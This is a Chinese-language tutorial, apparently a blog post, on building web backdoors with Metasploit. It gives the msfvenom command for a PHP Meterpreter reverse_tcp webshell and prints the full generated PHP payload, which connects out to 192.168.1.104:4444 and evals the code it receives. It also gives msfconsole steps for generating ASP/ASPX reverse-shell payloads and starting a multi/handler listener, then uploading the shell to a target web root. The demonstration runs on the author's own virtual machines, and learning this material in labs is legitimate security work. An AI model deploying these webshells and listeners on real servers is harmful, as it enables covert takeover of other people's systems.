Metasploit之Web后门
Web后门泛指WebShell,其实就是一-段网页代码,包括ASP、 ASP.NET、PHP、JSP代码等。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务器端进行一些危险的操作获得某些敏感的技术信息, 或者通过渗透操作提权,从而获得服务器的控制权。这也是攻击者控制服务器的一个方法,比一般的入侵更具隐蔽性。
Web后门能给攻击者提供非常多的功能,例如执行命令、浏览文件、辅助提权、执行SQL语句、反弹Shel等。Windows系统下比较出名的莫过于“中国菜刀”,还有很多替代"中国菜刀”的跨平台开源工具,例如“中国蚁剑"和Cknife, 均支持Mac、Linux和Windows. 在Kali下, 用的比较多的就是Weevely, Weevely支持的功能很强大,使用http头进行指令传输,唯一的缺点就是只支持PHP。 其实Metasploit框架中也自带了Web后门,配合Meterpreter使用时, 功能更强大。
Meterpreter后门
在Metasploit中,有一个名为PHP Meterpreter的Payload,利用这个模块可创建具有Meterpreter功能的PHP WebShell。在攻击中使用Metasploit PHP Shel的步骤如下所示。
- 使用msfvenom创建一个webshell.php。
- 上传webshell.php到目标服务器。
- 运行Metasploit multi-handler开始监听。
- 访问webshell.php页面。
- 获得反弹的Metasploit Shell.
我们可以通过Metasploit的msfvenom工具制作PHP Meterpreter, 命令如下所示。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.104 -f raw > shutter.php

针对上述命令的参数说明如下所示。
- -p参数用于设置Payload。
- -f参数用于设置输出文件格式。
生成的shutter.php 如下所示。

/*<?php /**/ error_reporting(0); $ip = '192.168.1.104'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
然后将shutter.php上传到目标服务器,这里因为是虚拟机,所以就直接复制到CentOS下的 /var/www/html目录,打开WebShell网址,如下所示。

接着启动msfconsole,使用以下命令监听:

然后打开 http://127.0.0.1/shutter.php

回到msf下面,可以看到服务端已经反弹成功。

最后使用sysinfo和getuid等meterpreter命令渗透目标主机.
Aspx Meterpreter后门
本节要介绍的是Metasploit下名为shell reverse. tcp的Payload,利用这个模块可创建具有Meterpreter功能的各版本ShellCode,例如比较常见的Asp、Aspx、msi、vbs、 war等, 下面以Aspx为例。
在攻击中使用Aspx Meterpreter后门的步骤和Metasploit PHP Shel的大概相同。首先使用下列代码调用该模块,并设置相关参数,如下所示。
show payloads
use windows/shell_reverse_tcp
info
set lhost 192.168.1.104
set lport 4444
save
接着输入generate -h命令查看帮助命令,如下所示。

生成各版本的shellcode的命令如下:
generate -f asp //生成asp版本的shellcode
generate -f aspx //生成aspx版本的shellcode
这里生成一个aspx版本的shellcode。

我们把内容保存为aspx.aspx,再上传到目标服务器,这里因为是虚拟机所以直接复制到Windows Server 2008下的C:/inetpub/wwwroot目录, 如下所示。

接着启动msfconsole,使用以下命令监听。
use exploit/multi/handler
use payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.104
set lport 4444
run
然后访问http://192.168.1.107/shell.aspx,回到msf下面,会看到服务端已经成功反弹。
最后可以使用sysinfo和getuid等meterpreter命令渗透目标主机。

浙公网安备 33010602011771号